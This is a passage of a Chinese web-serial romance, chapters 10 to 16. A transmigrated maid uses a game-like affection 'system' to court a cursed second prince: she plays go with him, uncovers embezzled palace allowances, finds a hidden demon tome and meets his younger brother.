云烬拿起那本账册,随手丢进桌案下的抽屉里,“不是说过了,在我跟前不要自称奴婢吗?”
林晚站在原地,心跳如擂鼓。她对刚才突然增加的5%好感度,还是有点难以置信,更摸不透他此刻的想法。
“做好你的分内之事,”云烬丢下冷冰冰的一句话,转身,白色的衣袂划过一个冷淡的弧度,消失在通往内室的阴影里。 “其他事情,与你无关。”
林晚默默拿起抹布,继续收拾这间屋子,心绪乱如麻。
云烬刚才的反应,清晰地说明,他一直都知道份例被克扣的事。
难道他……对这些,已经完全不在乎了吗。
第10章 黑子占优,但白子在蓄力
酉时的暮色将静心苑染成一片昏黄。林晚端着刚滤好的药汁走向正屋,目光扫过视野角落半透明的系统面板:
【宿主:林晚】
【身份:二皇子别院·静心苑·正室洒扫(特许)】
【目标:云烬(二皇子)】
【当前好感度:2%】
【污染值:???(权限不足)】
【积分:1200】
【任务倒计时:172天 04小时 12分】
【隐藏任务“逆转死局”进度提示:关键区域准入权限已获取。】
那刺目的“172天”让她指尖微微发紧。时间在流逝,而谜团依旧深重。只能走一步看一步了,反正时间还久。
林晚推开沉重的黑檀木门,药香混着清冷的松木气息扑面而来。云烬并未如往常般端坐书案后,而是立在窗边。白色的衣袍被暮光勾勒出金黄色的光泽,指尖无意识摩挲着窗棂上繁复的雕花。听见脚步声,他并未回头,只淡淡道:“放案上。”
“是。”林晚依言放下药碗,垂手退至角落,目光却不由自主地落在他的背影上。那姿态看似沉静,肩颈线条却绷得极紧,不知道他看着这茫茫暮色,心里在想些什么。
沉默在屋内蔓延,就在林晚以为他又会如石雕般伫立至她离开时,云烬忽然转身。他摊开掌心,露出一枚小巧物件——通体墨玉雕琢,形如含苞待放的铃兰,花蕊处嵌着一点极细的金砂,尾端系着玄色流苏。
“拿着。”他的声音听不出任何情绪。
林晚迟疑片刻,缓缓走上前,小心接过那个物件。墨玉质感触手温润,金砂在暮色中流转微光。
“殿下,这是……?”
“墨玉铃。”云烬目光掠过她困惑的脸,“置于你床头。若铃芯金砂亮起,便是唤你。”
林晚心头一跳,这意味着……他允许她踏入更深层的“随侍”领域?
她压下翻涌的思绪,恭顺应道:“我明白了。”
深夜,惊雷骤起,狂风大作。惨白的电光撕裂天幕,暴雨如天河倾泻,狂暴地抽打着静心苑的屋瓦与古木。狂风裹挟着湿冷水汽,从窗缝门隙钻入,烛火在不安中剧烈摇曳。
林晚被雷声惊醒,倏然坐起。枕边的墨玉铃正幽幽散发着暖金色微光,柔和却不容忽视。她立刻披衣起身,冒雨冲向正屋。
屋内只点了一盏孤灯,云烬盘坐于矮榻前,面前是一方紫檀木棋盘。
他脸色比平日更苍白,额角沁着细密冷汗,指节因用力攥着棋子而泛白。空气中弥漫着一种无形的焦躁,连烛焰的跳动都显得有些烦躁——在这雷雨交加的天气下,他似乎……心绪难安?
“殿下?”林晚轻声唤道。
“过来,坐下。”云烬抬眸,眼底有未散的红血丝,声音带着一丝沙哑:“会下棋吗?”
“只……只略懂一些皮毛。”林晚老实回答。原主记忆里只有乡间孩童玩的石子棋,要么就是五子棋,围棋对她而言太过高深,根本不会。
“无妨。”他示意她坐到对面,将盛着白子的棋罐推过去,“你来执白子。我教你规则。”
屋外雨声如瀑,雷声轰鸣,屋内却陷入一种奇异的专注,云烬的讲解简洁清晰,落子沉稳,每一步都带着一种力道。林晚学得认真,指尖捏着温润的白玉棋子,依着他的指引,笨拙地落在纵横交错的棋盘上。
“此处,当断。”云烬指点她落下一子,截断黑棋一处微弱的气。林晚依言伸手,指尖却因紧张微微颤抖,不经意间蹭过他正欲收回的手背。
两人俱是一怔。 那触感冰凉,带着薄汗的微潮,却似一道细微的电流窜过。林晚飞快缩回手,耳根发热。
云烬动作也凝滞了一瞬,目光在她泛红的指尖上停留片刻,才若无其事地收回手,捻起一枚黑子,落子声比先前重了一分。
两人都是赶紧收起了微微波动的情绪,仿佛刚才那一瞬间的接触没有发生过一般。
“系统!江湖救急!这棋局我看不懂了,快帮我分析!”林晚在脑中急呼。
【消耗10积分启动‘棋路推演’(初级)。】
系统提示音响起,【建议落点:天元位右下七路,星三。】
“我听不懂!你说人话!”林晚被这么专业的说法整得有点无语。
【棋盘左上角,第三行,第三列。】系统应对如流,同时还给林晚用光点指示了那个位置。
林晚深吸一口气,依着脑中浮现的莹蓝光点指引,将白子稳稳落下。
云烬执黑的手悬在半空,眉梢几不可察地一挑。这步棋……看似笨拙,却恰好卡在他布局转换的关窍,隐隐有反制之势。他抬眼看向对面,少女正紧张地盯着棋盘,睫毛在灯下投下小片阴影,浑然不觉自己下了一步妙手。
他不动声色,后续几手故意放缓了攻势。林晚在系统辅助下步步为营,在又消耗了60个积分之后,竟真让她抓住一个破绽,白子如尖刀突入,吞掉一小片黑棋!
“我……我赢了这一小块?”林晚看着被提走的黑子,难以置信地睁大眼睛。
云烬将手中黑子丢回罐中,发出几声清脆的磕响。他身体向后微仰,靠在软枕上,双手抱臂,苍白的脸上露出一丝极淡的疲惫:“倒是小瞧了你。”
他目光扫过她因兴奋而微亮的脸颊,唇角勾起一抹若有似无的弧度,轻哼一声,“怎么,丫鬟当腻了,想当谋士?”
【检测到目标人物‘云烬’情绪产生波动。】
【好感度更新:+5%】
【当前好感度:7%】
系统的提示与窗外炸响的惊雷同时抵达。林晚看着那跳动的数字,心跳如擂鼓。7%!距离那个看似遥不可及的100%,似乎……真的撬开了一道缝隙。
雨势未歇,烛光将两人对坐的身影投在墙壁上。
棋局未完,黑子依旧占据大势,但那一小片被白子撕开的口子,在昏黄的光晕中格外醒目。尽管如此,林瑶已经很开心了,就像这一点点升高的好感度,尽管还剩93%,但好歹离目标又更近了一步。
这漫长雨夜里,悄然滋生出一线微光。
第11章 串起的线索
晨光熹微,驱散了昨夜雷雨的湿气。林晚端着温热的药碗,推开那扇沉重的黑檀木门。
屋内光线依旧昏暗,云烬已端坐在紫檀木书案后。他换了一身素净的月白常服,墨发用玉簪松松束着,几缕碎发垂落额前,遮住了部分眉眼。脸色依旧苍白,但比起昨夜雷雨中的紧绷焦躁,此刻显得平静了许多,只是眼底深处还带着那抹挥之不去的疲惫。
林晚轻步上前,将白玉药碗放在他手边不远不近的位置,动作比以往更加娴熟和谨慎。“殿下,药好了。”
云烬的目光从手中一卷泛黄的古籍上抬起,扫过药碗,又落在林晚脸上。那目光平静无波,却带着一种无形的审视,仿佛在评估昨夜雨夜对弈后留下的余韵。
片刻,他伸出修长的手指,端起药碗,眉头习惯性地微蹙,随即仰头一饮而尽。苦涩的药汁滑过喉咙,他喉结滚动了一下,将空碗放回案上,动作干脆利落,没有半分昨夜的戾气或失控。
“嗯。”一个单音节的回应,听不出情绪。
林晚上前一步,收拾起空碗。就在她准备退下时,刘嬷嬷的身影出现在门口。
“殿下,”刘嬷嬷恭敬行礼,“前山管事传话,宫里新拨给别院的一批衣料布匹份例到了,静心苑这边也要派人去取。您看……”
云烬的目光重新落回书卷上,头也未抬,只淡淡道:“让她们去。”这个“她们”,自然指的是林晚和小翠。
“是。”刘嬷嬷应下,转向林晚,“林晚,你和小翠去一趟前山库房,把东西领回来。仔细点,莫出差错。”
“是,嬷嬷。”林晚屈膝应道,端着空碗退了出去。临出门前,她下意识地又看了一眼书案后的身影。他沉浸在自己的世界里,仿佛周遭的一切都与他无关。
别院的前山与后山的静心苑截然不同。这里亭台楼阁错落,仆役往来穿梭,虽不及皇宫恢宏,却还是有着皇家制度下的井然有序。空气中弥漫着花草香和食物的烟火气,与静心苑常年萦绕的药味、松木冷香形成鲜明对比。
林晚和小翠跟着一名管事模样的中年男子,穿过几道回廊,来到一处挂着“内库”牌匾的院落。管事递过一张盖了印的条子,库房小吏懒洋洋地核对着,随后指挥两个粗使仆役搬出几匹布料。
林晚的目光落在那些布料上。颜色大多是素净的月白、靛青、玄色,料子摸上去尚可,是上好的棉绸和细麻,但绝称不上华贵,更不见绫罗绸缎的影子。数量……她心里默默估算着,对照着脑海中那本账册上记录的“锦缎二十匹,实收七匹”,眼前这区区三四匹,恐怕连“实收”的标准都够呛。
一股熟悉的怒火又隐隐在胸腔里翻腾。她强压下去,接过小吏递来的签收单,在上面按了手印。
回去的路上,两人抱着不算沉重的布匹,沉默地走着。林晚看着小翠有些吃力的样子,又想起账册上那些触目惊心的克扣,忍不住开口,声音压得低低的:
“小翠,你在别院也有些日子了。咱们这些下人的吃穿用度……可还过得去?有没有……短缺的时候?”
小翠愣了一下,似乎没想到林晚会问这个。她想了想,老老实实地回答:“吃穿?挺好的呀。每日两餐,米饭管饱,菜蔬虽然简单,但隔三岔五也能见点荤腥。衣裳一年四季都有发的,虽不是新的,但也干净暖和。嬷嬷们管得严,份例都是足数的,没听说谁被克扣过。”
她顿了顿,脸上露出一丝朴实的满足:“比我在家时吃得好多了呢!寻常人家,也不过如此了。”
林晚的心沉了沉。下人的份例没有被克扣……那被克扣的,就只有静心苑,和嘉贵妃的份例了!那些蛀虫,是看准了静心苑的主人被皇室厌弃,被皇帝默许“等死”,才敢如此肆无忌惮地欺辱!
“那……皇贵妃娘娘呢?”林晚试探着问,“娘娘的吃穿用度,应该比我们精致许多吧?”
小翠点点头,又摇摇头:“娘娘的份例自然是好的。每日有专门的厨娘做精致的点心,衣裳料子也金贵。可是……”她左右看了看,声音压得更低,带着一丝不易察觉的惋惜,“跟从前在宫里,那是根本不能比的!”
“我虽然没进过宫,但听以前在宫里伺候过的老嬷嬷们私下说过,贵妃娘娘在宫里时,那才叫真正的金尊玉贵,用的都是贡品,穿的衣裳,上面的金线都能晃花人眼呢!哪像现在……”
小翠的话像一根针,扎在林晚心上。
嘉贵妃摔碎宝册时那绝望的嘶喊——“皇城的荣华吃人”,再次在耳边回响。
林晚苦笑,这哪里是“不能比”,分明是刻意的怠慢和折辱。用这些看似“尚可”实则远低于规格的份例,无声地提醒着他们母子的处境。
林晚抱着布匹的手指微微收紧,布料粗糙的纹理摩擦着掌心。她看着前山这虚假的繁华,想着后山静心苑的死寂和账册上的数字,只觉得一股寒意从心底蔓延开来。
“小翠,”林晚的声音带着一丝探寻,“你……知道二殿下是什么时候搬到这后山静心苑独居的吗?为什么……不住在前山,或者,更早的时候,为什么搬离皇宫住到这座别院来?”
小翠被问住了,努力回忆着:“搬来别院……好像是五年前?对,就是五年前!那年冬天特别冷。”她皱着小脸,“具体为什么搬离皇宫,我们这些下人哪里知道呀。宫里头的事,谁敢乱打听?不过……”
她像是想起了什么,声音变得更轻,带着一丝神秘和忌讳:“那一年,宫里好像出了件大事。皇贵妃娘娘……生的小公主,殁了。就是二殿下的亲妹妹。” “听说小公主生的玉雪可爱,皇上和娘娘都极疼爱的。小公主没了之后没多久,皇贵妃娘娘和二殿下就搬出皇宫,住到这座别院来了。再后来……二殿下就一个人搬去了后山的静心苑,除了嘉贵妃娘娘和刘嬷嬷,几乎谁也不见。”
小翠的话如同惊雷,在林晚脑中炸开!
五年前!
小公主殁了!
之后搬离皇宫!
云烬独居静心苑!
所有的线索瞬间串联起来,五年前小公主殁了,自那以后云烬和皇贵妃搬离皇宫,只有一个解释,小公主的死或许跟云烬有关。那云烬怎么会……
这时,“容器”二字进入了她的脑海,容器……会不会是容器里的什么东西,伤到了小公主……?
紫黑色灵气!云烬胸口的那团紫黑色灵气!她想起第一天给云烬送药的场景,云烬似乎在跟胸口的那团暗紫色灵气对抗!
所以云烬是容器……容器里装的就是紫黑色灵气,这会让云烬很痛苦,还会伤害到其他人!那一切都说得通了!
想到这里,林晚抱着布匹的手猛地一颤,这只是自己的猜测而已,而且还不清楚那个暗紫色灵气是什么,或许可以先找个机会验证一下自己的猜想。
以及,还剩几个疑问:
这个紫黑色灵气到底是什么?
这跟钦天监又有什么关系?
以及,半年之期的前后始末……
第12章 静心苑荡起的涟漪
抱着那几匹素净的布匹,林晚和小翠沉默地走在返回静心苑后山的青石小径上。
遗留的三个疑问,有一股难以言喻的沉重感压得她几乎喘不过气。
回到静心苑,将布匹交给刘嬷嬷入库后林晚和小翠在库房整理着其他刚领回来的份例。大多是些寻常的米面粮油,甚至有些焉了的蔬菜。
看着这些远低于皇子规格的物资,再想起账册上触目惊心的克扣记录,林晚心头的憋屈更甚。
“小翠,”林晚一边将一袋糙米码放整齐,一边开口,声音带着一种下定决心的意味。“你不觉得这静心苑……太冷清了吗?死气沉沉的,连点活气儿都没有。”
小翠正费力地搬着一坛酱菜,闻言愣了一下,茫然地环顾了一下库房四周:“啊?冷清?静心苑……不是一直都这个样子吗?殿下喜欢清净。”
“殿下是喜欢清净,可这不代表就得跟苦行僧一样吧?”林晚打断她,语气带着点的不忿,“你看这吃的用的,还有这满院子的药味松木味,闻久了人都要发霉了!”
“他好歹是个皇子,就算……就算处境艰难,日子也不能这么过啊!”
小翠被她说得有点懵,但想到云烬那冰冷的样子和听到的诡异的传闻,还是缩了缩脖子:“那……那能怎么办呀?咱们就是丫鬟……”
“丫鬟怎么了?丫鬟也能让日子有点烟火气!”林晚放下手里的东西,眼睛亮了起来,“我想好了,以后除了煎药和清扫正屋,我还想学学做菜!”
“宫里那些御厨的手艺我学不来,但做些家常的、热乎的、不一样的吃食总行吧!总比天天清汤寡水、药味熏天的强!”
她越说越觉得可行:“你看殿下那脸色,白得跟纸一样,肯定吃不好睡不好的。我要是能做点合胃口的,说不定……说不定他的心情也能好一点?”
她虽然嘴上没说刷好感度,但心里的小算盘打得噼啪响。
小翠被林晚的“雄心壮志”吓得瞪大了眼:“做……做菜给殿下吃?林晚姐,你的胆子也太大了!万一不合口味……”
“不合口味就倒掉呗,总比什么都不做强!”林晚满不在乎地摆摆手,随即看向小翠,带着点鼓励:“你呢?我记得你说过你爹是花匠?你懂侍弄花草吧?”
提到父亲的手艺,小翠黯淡的眼睛里突然闪现出光彩,激动地小声说:“嗯!小时候跟着爹爹学过一点,认得些花草,知道怎么翻土、除虫、浇水……不过进了宫就再也没碰过了。”
“那太好了!”林晚一拍手,“你看这静心苑,除了那几棵老树,光秃秃的,一点颜色都没有。后院那么大一片空地,荒着也是荒着。你悄悄去弄点好养活的花种子来,种在后院!”
“不用名贵品种,就种些能开花的,颜色鲜亮点的!驱驱这满院的药味,添点生气!你要是有什么困难,我去殿下的书架上给你找几本跟花草有关的书。”
“哎——!”小翠惊呼出声:“殿下的东西,哪能随便动啊!”
“没关系啦,”林晚摆了摆手,“那几本跟花草有关的书,我也不知道为什么会出现在殿下的书架上,他从来都没看过,都落灰了!”
想象着荒芜的后院开满花的样子,小翠的脸上也露出了久违的、带着点憧憬的笑容,用力地点了点头:“嗯!我……我试试看!”
……
午时,林晚准时将药煎好送到正屋。云烬接过药碗,一饮而尽,动作干脆利落,眼睛只盯着书看,一言不发。
林晚对这些早已经习以为常,麻利地收拾好药碗,又拿起抹布和水盆,开始今日份的正屋洒扫。她擦得很仔细,从紫檀木书案的边角到博古架的格档,一丝不苟。只是,她的心思显然不全在打扫上。
她怀里还揣着一本刚从库房角落里翻出来的、纸张泛黄卷边的旧书册,封面上用略显笨拙的字体写着《庖厨辑要》。
趁着云烬闭目养神或是低头认真看书的间隙,她便飞快地把书摸出来,借着书架或者柱子当掩护,偷偷瞄上几眼,手指还无意识地在空中比画着,模拟着翻炒的动作。
“火候……爆炒需旺火,炖煮需文火……盐少许……”,她看得入神,嘴里还你念念有词,完全没注意到书案后那双原本闭着的眼睛不知何时已经睁开,正带着一丝冰冷的审视落在她的身上。
“呵!”一声极轻的嗤笑,打破了屋内的寂静。
林晚吓了一跳,手一抖,《庖厨辑要》差点掉到水盆里。她慌忙地把书藏到身后,抬起头对上云烬那双眸子。
“丫鬟不好好干活,也看起书了?”云烬的声音淡淡的,“一心二用,这屋子……还能打扫干净么?” 他的目光有所指地扫过她刚刚擦拭过的,还留着水痕的博古架。
林晚的脸瞬间涨红,一半原因是偷懒被抓包的窘迫,另一半则是被他语气激起的恼火。她伸着脖子,索性把书从身后拿出来,扬了扬:“我看菜谱怎么了?又不耽误干活,擦干净了就是擦干净了,殿下若是不信,就亲自来检查!”
云烬的视线落在她手里那本破旧的《庖厨辑要》上,眉梢微挑,对林晚看这个感到甚是意外。
“菜谱?”他语气里嘲风的意味更浓了,“怎么,静心苑的伙食,委屈你了?”
“委屈我?”林晚被他这倒打一耙的调调气笑了,一时忘了自己的身份,脱口而出,“我是怕委屈了殿下您这金贵的肠胃!天天清汤寡水,药味熏天,是人吃的吗?我看您这脸色,比纸还白,我看就是吃得太差,营养不良!”
话一出口,她就后悔了,这语气有点太冲了。但是想到账册记录的那一行行克扣记录,那股火就又窜上来了。
云烬的眼神倏地一冷,屋内的温度仿佛都降了几分。他盯着林晚,那目光锐利得仿佛要将她刺穿:“所以?”
林晚被他这个眼神盯得有点头皮发麻,但是骑虎难下,只能硬着头皮,带着点破罐子破摔的挑衅:“所以我想学着做点好吃的,做给你吃不行啊?”
她晃了晃手里的书,故意扬起了下巴,“怎么,殿下怕我下毒啊?”
空气凝固了一瞬。
云烬定定地看着她,林晚因激动而微微泛红的脸颊,那双亮得惊人的眼睛里,有窘迫,有倔强,还有一点……关心?
半晌,他嘴角极其缓慢地勾起一个弧度,但是那笑容没有半分暖意:“下毒?”他轻哼一声,“就凭你?”
他收回目光,重新投向手中的书卷,留下一句轻飘飘的话:“若真敢,本皇子不介意让你先试吃百遍。”
林晚被他的轻描淡写噎得有点说不出话,只得偷偷地狠狠地瞪了他一眼,把书往怀里一塞,抓起抹布,更加用力地擦拭旁边的柱子。
而屋外,隐约也传来小翠在后院翻动泥土的细微声响。
这死水一般的静心苑,似乎正被两个不知天高地厚的小丫鬟,笨拙且小心翼翼地,搅起一丝涟漪。
第13章 刻意的隐藏
傍晚的霞光给静心苑镀上了一层金色,晚风习习,却吹不散西厢小厨房里的呛人浓烟。
林晚蹲在捡漏的土灶前,灰头土脸的,两个眼睛被烟熏得泪水直打转。她手里拿着一根吹火筒,正对着灶膛里奄奄一息的火星子猛吹。
“咳咳……呼——!噗……”火星非但没有旺起来,反而被她一口气吹得彻底熄灭,只留下一缕青烟。
“啊!”林晚懊恼地扔掉吹火筒,一屁股坐在地上,看着黑黢黢的灶膛,欲哭无泪,“这破灶膛!这破柴!还是天然气好啊……”
她抹了把脸,结果手上的柴灰全蹭到了脸上,瞬间变成了一只小花猫。现代社畜的灵魂在古老的生火技艺面前,简直遭到了无情的碾压。
【“系统!系统,在吗!给我个打火机好吗?”】
【任务发布,亲自生火给云烬做一道菜。】
【任务奖励:100积分】
【“喂!我在让你帮忙,你直接发布任务算怎么回事?”】
林晚气不打一处来,可惜系统的声音再也没有响起。
她回想起白天的雄心壮志,结果第一步就卡在了“生火”这个最最基础的关卡上。不服输的劲儿一下子就上来了,她撸起袖子,重新塞进一把干草,掏出火折子。
“嚓……嚓……”火折子艰难地冒出一点火星,落在干草上,微弱地亮起一个火点。林晚屏住呼吸,小心翼翼地护着那点希望,轻轻吹气。
就在这时,厨房门口一道人影闪过。
云烬处理完一些事情,正要回主屋去,眼角余光瞥见西厢这间平日里闲置的小厨房竟然有着亮光,还传出音乐的咳嗽声,便顺道过来看看。
映入眼帘的,是林晚狼狈又专注的背影。她蹲在灶前,小小的身子几乎要钻进灶膛里去,侧脸上蹭了好几道黑灰。她正对着那点可怜的火星,小心翼翼地吹着,满眼的期待。
云烬的唇角,在无人看见的阴影里,细微地向上牵动了一下,转瞬即逝。
他并未出声,只是看了片刻,便悄无声息地离开了。
【检测到目标人物“云烬”情绪产生波动。】
【好感度更新:+5%】
【当前好感度:12%】
脑海中突然响起的提示音,吓得林晚手一抖,刚刚吹得有点起色的火苗“噗”的一下又灭了。
“5%?!”她猛地回头,心脏狂跳,厨房里还有门口都空荡荡的。她下意识地摸了摸自己沾满灰的脸颊,一股羞耻感瞬间涌了上来,“他……他不会刚刚来过吧?!”
一想到自己像个原始人一样在这里狼狈地生火,还有可能已经被云烬尽收眼底,林晚恨不得找个地缝钻进去。她赶紧跑到水缸边,借着倒影,不断哀嚎:“我的形象啊!”
又过了好一会儿,不知是熟能生巧还是运气使然,这一次,火终于被她生了起来。橘红色的火焰在灶膛里跳跃着,散发出温暖的光和热。
“成了!”林晚激动得差点哭了出来,成就感瞬间冲散了刚才的尴尬。她决定趁热打铁,先做个最简单的——炒鸡蛋!
她翻出两个鸡蛋,笨拙地打在碗里,用筷子搅散。等着锅里油热,她信心满满地将蛋液倒了进去。
“滋啦!”一声,蛋液迅速膨胀,边缘泛起诱人的焦黄。林晚正得意,突然一股焦糊味猛地窜入鼻腔。
“糟了,火太大了!”她手忙脚乱地想用锅铲翻动,可灶膛里的火舌正旺,锅底温度已经很高了,蛋液接触锅底的部分已经变得焦黑。
她赶紧把锅端离灶台,但为时已晚,原本金黄的蛋液,此时已经变成了黑黄相间的一团失败品。
林晚满腔的热情瞬间被浇灭,身体的疲惫加上心灵的打击,让她此刻只想躺平。她耐着疲惫草草收拾了“战场”,熄灭灶火,带着一身的挫败感,回自己小屋休息去了。 烟火气的第一步,出师不利。
……
第二天清晨,林晚照例进行正屋的打扫。经过一夜的休整,昨天的挫败感淡了些,但手臂的酸软还在提醒着她生火不易。
【恭喜宿主完成任务。】
【任务奖励:100积分。】
【当前积分:1230。】
不过好在有积分的奖励,事情倒也不算最坏,虽然还不知道积分的作用能体现在哪里。
当她擦拭到书架最上层一个不起眼的角落时,指尖忽然触碰到一块木板的边缘,感觉有点松动,她好奇地用力一按。
“咔哒”一声,旁边一块看似严丝合缝的挡板,竟然向内滑开,露出了一个隐藏的暗格!
林晚心跳瞬间加速,这里面会藏着什么东西呢?
她屏住呼吸,将手探进去,摸到了一本书,将它拿了出来。
带着一丝强烈的好奇和一丝不安,她翻开了第一页。映入眼帘的,是用一种古老且繁复的字体书写的标题——《魔物志》。
她的目光迫不及待地向下扫去,开篇赫然写着:“上古之劫,秽渊魔尊……”
秽渊魔尊?!林晚一愣,正要继续往后看时……
“你在干什么?”一个冰冷的声音从她身后炸响。
林晚吓得魂飞魄散,手中的书脱手掉落,一只苍白修长的手快如闪电般地在空中接住了它,狠狠攥在手里。
云烬不知何时出现在她身后,脸色阴沉地仿佛要吃人一般。
“我……我只是在打扫……”林晚脸色煞白,大脑陷入了无法思考的境况。
“打扫?”云烬的声音像刀片一样冰冷,他上前一步,袭来的压迫感让林晚几乎窒息,“打扫的时候,谁让你看这种东西了?”
他攥着那本《魔物志》的手非常用力,手背青筋暴起,指节都有点泛白。
“我看你是太清闲了!去书房!抄写《千字文》一百遍,不抄完,不许离开半步!”
林晚如蒙大赦,却又心如死灰。一百遍《千字文》!这得抄到猴年马月?但她不敢有丝毫违逆,低着头灰溜溜地走向隔壁的书房。
云烬看着她仓皇离开的背影,胸疼剧烈地起伏了几下,强压下心头的怒火。他转身,带着那本《魔物志》,气愤地离开了正屋。
书房里,林晚垂头丧气地坐在书案前,面前摊着一张宣纸,笔墨摆放在一旁。她提起笔,却一个字也写不下去,脑子里全是刚才那本《魔物志》。那本书藏在暗格里,似乎很重要,云烬好像不希望被人发现……
就在这时,书房的门被推开。云烬去而复返,但是脸色依旧冰沉。
他没有看林晚,径直走到书案前,随手将一本厚厚的书“啪”的一声摔在她面前的书案上。
“抄这个。”他丢下三个字,转身就走了,仿佛多待一秒都嫌烦。
林晚被书摔下来那一声吓得一哆嗦,愣愣地看着桌上那本书,竟然写着——《玉脍集》。
菜谱?!
他竟然让她抄菜谱?! 林晚瞪大了眼睛,一时间哭笑不得,心情复杂到了极点。这算怎么回事……?是觉得她应该把心思放在正途上?或者是……某种变相的鼓励?
第14章 你还要睡多久
书房里,烛火摇曳,将林晚伏案的身影拉长,投在墙壁上。她枕着那本厚厚的《玉脍集》,脸颊压着书页,墨迹在她白皙的皮肤上印下几道滑稽的黑痕。
一支毛笔从她松开的指间滑落,滚在桌边。她呼吸均匀绵长,长长的睫毛在眼睑下投下安静的阴影,显然累极了,在抄写菜谱的过程中沉沉睡去。
书案上,摊着厚厚一叠抄写好的纸张。字迹从开始的工整到后来的略显潦草,甚至有些字迹被手臂压得模糊,看得出来她坚持了很久,直到精力耗尽。
窗外,夜风渐起,带着深秋的凉意,吹动着未关严的窗棂,发出轻微的“吱呀”声。那风也吹得烛火一阵摇曳,光影在林晚熟睡的脸上不安地跳动。
云烬从短暂的、并不安稳的浅眠中醒来。他起身,倒了杯凉水灌下,目光无意间扫向书房的方向,发现那里的烛火竟然还亮着。
这么晚了,她还在抄?
一丝疑惑掠过心头,他放下水杯,悄无声息地走向书房。
门虚掩着,云烬轻轻推开一条缝。
昏黄的烛光下,映入眼帘的便是林晚沉睡的模样。她安静的睡颜,脸上滑稽的墨痕,还有那堆抄写好的纸张……一切都无声地诉说着她的疲惫。
云烬站在门口,静静地看着这一幕。他眼中翻涌的复杂情绪——有对她窥探《魔物志》的余怒,有对她此刻狼狈睡相的嘲笑,或许还有一丝极淡的、连他自己都未曾察觉的触动。只不过最后全都消失了,归于平静。
他走到窗边,没有惊醒沉睡的人,伸出手,动作极轻地将那扇被风吹动的窗户缓缓关严、插好插销,隔绝了外面灌入的凉风和扰人的声响。
做完这一切,他再次看了一眼伏案沉睡的林晚。烛光在她身上镀上一层柔和的光晕,驱散了些许夜晚的寒意。他什么也没说,转身,如来时一般悄无声息地离开了书房,轻轻带上了门,将那片静谧的烛光留在了身后。
……
“你还要睡多久?”
一个冰冷的声音穿透了林晚沉沉的梦境,带着一丝不耐,“本皇子的药,一刻也不能耽搁。”
林晚猛地惊醒,额头撞在硬邦邦的桌面上,疼得她“嘶”了一声。眼前是摊开的《玉脍集》和抄写了一半的纸张,脸上还残留着墨痕的黏腻感。
她茫然地抬起头,正对上云烬那双深不见底的眸子。他就站在书案前,逆着清晨微亮的光线,俯视的角度带着点压迫感。
“殿……殿下!”林晚瞬间清醒,手忙脚乱地站起来,差点带倒椅子,脸上满是窘迫和慌乱,“我……我抄着抄着就……睡着了……对不起!我这就去煎药!”
云烬的目光扫过她脸上滑稽的墨痕和桌上厚厚一叠抄写好的纸张,又落在她因趴睡而压得通红的半边脸颊上。他沉默了几息,那冰冷的审视似乎缓和了一丝。
“下不为例。”他的声音依旧没什么温度,但并未如林晚预想的那般动怒,“把脸擦干净。还有,”
他顿了顿,视线扫过书架的方向,语气带着点的警告,“以后,不该动的东西,别碰。”
林晚心头一凛,知道他指的是《魔物志》的事,连忙低头应道:“是,殿下!我记住了!”她飞快地用袖子胡乱擦了擦脸,也顾不上墨迹是否擦干净,逃也似的冲出书房,直奔药房而去。
……
午后的阳光透过雕花窗棂,在静心苑正屋的地板上投下温暖的光斑。林晚刚将擦拭干净的**架整理好,便听见院外传来一阵轻快的脚步声和少年清朗的嗓音。
“二哥!我来看你了!”
随着声音,一个身着黄白色相间的锦袍、腰系玉带、头戴银冠的少年大步走了进来。他约莫十六七岁年纪,眉眼与云烬有几分相似,却少了那份沉郁,多了几分飞扬跳脱的神采,正是大胤王朝的三皇子——云瀚。
云烬正坐在窗边的圈椅里看书,闻声抬起头,脸上没什么表情,只淡淡应了一声:“嗯。”
云瀚显然习惯了二哥的冷淡,自顾自地找了张椅子坐下,目光却好奇地落在了正在一旁擦拭书案边角的林晚身上。
他眼中闪过一丝明显的诧异,上下打量着林晚,又看看云烬,忍不住开口:“二哥,你这静心苑……什么时候多了个丫鬟?还……能在屋里洒扫?”
他的语气充满了
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不可思议,毕竟云烬的“冰冷淡漠”和“拒人千里”,在满宫上下是出了名的。
云烬的目光依旧停留在书页上,头也没抬,语气平淡得像在说今天天气不错:“嗯。总得有人打扫。干干净净的,挺好。”
他显然不想在这个话题上多谈。
云瀚被这轻描淡写的回答噎了一下,挠了挠头,看了一眼正在认真打扫的林晚,倒也没有再追问。
他转而兴致勃勃地说起另一件事:“二哥,你听说了吗?前阵子南边水患,大哥亲自去了灾区!听说他带着人日夜不休地赈灾,疏通河道,安置灾民,还亲自帮着灾民重建家园呢!父皇在朝堂上可是大大褒奖了大哥一番!”
他的语气里充满了对长兄的崇拜和向往:“大哥真是厉害!我也要向大哥学习,勤奋努力,为父皇分忧,为百姓做事!”
云烬翻过一页书,指尖在书页边缘轻轻摩挲了一下,终于抬眼看向自己这个热情洋溢的弟弟。
他的眼神平静无波,声音也听不出什么情绪:“有志向是好事。不过,云瀚,”他顿了顿,“看事情,别只看表面。看人……也是一样。”
“你还小,心思单纯,有些事,未必如你所见所想。”
云瀚闻言,脸上的兴奋淡了些,有些不服气地反驳:“二哥,你总是想得太多!大哥为国为民,殚精竭虑,这不是明摆着的事实吗?我看得很真切啊!”
云烬看着他年轻气盛、不谙世事的脸,眼底深处掠过一丝极淡的、难以言喻的复杂。
他没有再反驳,只是重新垂下眼睑,看着手中的书卷,淡淡道:“但愿吧。”
林晚在一旁默默擦拭着,将兄弟俩的对话一字不漏地听在耳中。她低着头,动作放得更轻。
这位三皇子云瀚,果然如她所感,心思单纯直率,只比云烬小一岁,但那份未经世事打磨的天真,与云烬身上那种浸透了沉重与警惕的沧桑感,形成了天壤之别。
云烬那句“看人不真切”,与其说是对云瀚的告诫,不如说是他自身经历太多黑暗后,对世事人情的深刻体悟。
只是这份体悟,太过沉重,也太过孤独。
第16章 他从前也贪玩
云瀚小心地将疲惫的云烬安置在卧房榻上,替他盖好薄被。看着二哥苍白如纸的侧脸和眉宇间挥之不去的痛苦,云瀚心中沉甸甸的。他轻叹一口气,转身轻轻带上了房门。
庭院里,云瀚瞧见林晚踱步朝西厢房那边走去。这个能让二哥破例允许靠近的丫鬟,勾起了他强烈的好奇心。
他整了整衣袍,抬步跟上林晚过去。
厨房里弥漫着淡淡的烟熏味和食材的清香。林晚正蹲在灶台前,对着那堆似乎不太听话的柴火较劲,额角渗出细密的汗珠。
她手里拿着一份皱巴巴的、显然是临时手抄的简易菜谱,眉头紧锁,嘴里念念有词:“火候……先大火后小火……这柴怎么又灭了……”
